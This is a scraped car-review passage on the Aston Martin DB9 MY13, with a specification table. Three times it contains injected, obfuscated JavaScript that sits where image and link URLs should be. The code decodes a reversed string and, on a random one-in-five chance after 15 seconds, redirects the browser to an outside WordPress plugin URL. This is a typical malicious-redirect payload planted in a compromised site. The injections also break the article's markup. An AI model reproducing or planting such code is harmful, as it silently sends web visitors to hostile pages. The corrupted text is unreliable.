$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/600416_DB9_05.jpg” alt=”” width=”728″ height=”455″ />
But the DB9, unlike the recently announced $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-vanquish-video-rising/” target=”_blank”>Vanquish Super GT, is a grand tourer by trade rather than an out-and-out track beast. Consequently we find luxurious travel – courtesy of leather upholstery, Alcantara headlining, cruise control, and even a Lamy pen and pen holder – is well catered for too. The new model will be dropping at showrooms across the UK and Western Europe from this October onwards, each with a $185,400 price tag.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/600422_DB9_06.jpg” alt=”” width=”728″ height=”454″ />
Perhaps, taking all this into consideration, the time-honoured argument has changed: rather than ‘when’ Aston Martin will change its design cues, the real question is ‘should’ they?
| Aston Martin DB9 MY13 | |
|---|---|
| Engine: | V12 / 5,935cc |
| Location: | Front mid-mounted |
| Power: | 510bhp @ 6500 rpm |
| Torque: | 457 lb-ft @ 5500 rpm |
| Transmission: | Rear mid-mounted ‘Touchtronic 2’ six-speed transmission / electronic shift-by-wire control system / rear-wheel drive |
| Front suspension: | Independent double wishbones / anti-dive geometry / coil springs / anti-roll bar / monotube adaptive dampers / three Stage Adaptive Damping System (ADS) |
| Rear suspension: | Independent double wishbones / anti-squat / anti-lift geometry / coil springs / anti-roll bar / monotube adaptive dampers / three Stage Adaptive Damping System (ADS) |
| Brakes: | Ventilated carbon ceramic discs / 398mm six-piston monobloc callipers (F) / 360mm four-piston monobloc callipers (R) |
| Wheels: | 20-inch five-spoke cast alloy front and rear |
| Tyres: | 245/35 ZR20 front / 295/30 ZR20 rear / Pirelli P Zero |
| Weight (kerb) | 1785kg |
| 0-100kph: | 4.6 sec |
| Top speed: | 295kph |
| Basic price: | $185,400 |
–
